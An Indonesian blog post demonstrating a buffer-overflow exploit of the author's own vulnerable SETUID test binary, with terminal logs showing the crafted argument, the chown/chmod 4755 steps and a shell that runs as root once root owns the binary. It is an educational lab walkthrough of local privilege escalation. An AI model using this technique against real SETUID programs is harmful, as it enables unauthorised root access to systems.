Buffer Overflow dan Root Shell

Dengan teknik buffer overflow bisa terjadi efek domino atau efek lanjutan yang bisa jauh lebih berbahaya. Di salah satu posting blog ini telah dijelaskan bagaimana cara memanfaatkan vulnerability sebuah program dan pada akhirnya bisa menghasilkan sebuah shell. Pada posting kali ini akan dijelaskan salah satu spot menarik untuk kita mendapatkan shell root, bukan sekedar shell user dengan privilege terbatas.

SETUID adalah salah satu flag di file system Linux yang tujuannya untuk menge-set user ID sesuai dengan pemilik file ketika file akan di eksekusi. SETUID octal value adalah 04000. Jadi kalau mau setting SETUID pada file “hehe.txt” untuk read,write,exec oleh user bersangkutan dan read,exec oleh group user bersangkutan + others adalah dengan command “chmod 4755 hehe.txt”.

Langsung saja tidak pake basa-basi lagi, ini adalah program vulnerable kita yang dieksekusi dengan argumen khusus yang telah diracik sehingga hasilnya adalah sebuah shell…

Pertama status pemilik file executable “S9” nya adalah user “inan”. Program dieksekusi dari user “inan”. Bagi yang bingung, file “S9” itu adalah binary program yang telah saya buat (ada di postingan ini).

[email protected]:~/Desktop/bof/demo$ ls -l
total 16
-rwsr-xr-x 1 inan users 7231 2011-12-20 07:06 S9
-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
[email protected]:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmno"???
[AFTER] ini isi buffer B: abcdefghijklmno"???
$ whoami
inan
$ exit
[email protected]:~/Desktop/bof/demo$

Kedua status pemiliknya (ceritanya diganti…) file “S9” milik user “bombom”. Sebagai catatan, file ini dieksekusi oleh user “inan”.

[email protected]:/home/inan/Desktop/bof/demo# chown bombom:users S9
[email protected]:/home/inan/Desktop/bof/demo# chmod 4755 S9
[email protected]:~/Desktop/bof/demo$ ls -l
total 16
-rwsr-xr-x 1 bombom users 7231 2011-12-20 07:06 S9
-rwxr-xr-x 1 inan   users   31 2011-12-21 06:24 shellcode.bin
-rw-r--r-- 1 inan   users  125 2011-12-18 04:12 shellcode.txt
[email protected]:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmno"???
[AFTER] ini isi buffer B: abcdefghijklmno"???
$ whoami
bombom
$ exit
[email protected]:~/Desktop/bof/demo$

Ketiga status pemiliknya (ceritanya diganti…) file “S9” adalah milik “root”. File ini dieksekusi dari user “inan”.

[email protected]:/home/inan/Desktop/bof/demo# chown root:root S9
[email protected]:/home/inan/Desktop/bof/demo# chmod 4755 S9
[email protected]:~/Desktop/bof/demo$ ls -l
total 16
-rwsr-xr-x 1 root root  7231 2011-12-20 07:06 S9
-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
[email protected]:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
[ATURAN] buffer B hanya bisa menampung 3 bytes data
[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
[BEFORE] ini buffer B sekarang:
[PROCESSING...] menyalin isi buffer A ke buffer B
[AFTER] ini isi buffer A: abcdefghijklmno"???
[AFTER] ini isi buffer B: abcdefghijklmno"???
# whoami
root
# id
uid=1000(inan) gid=1000(inan) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(inan)
#

Dengan memanfaatkan program yang pemiliknya adalah root dan menggunakan flag SETUID, kita bisa cari bugsnya dan manfaatin file itu untuk gaining root shell. Kini, file “S9” bisa disebut sebuah rootkit hahahak.. ;p

 

One thought on “Buffer Overflow dan Root Shell

Leave a Reply

Your email address will not be published. Required fields are marked *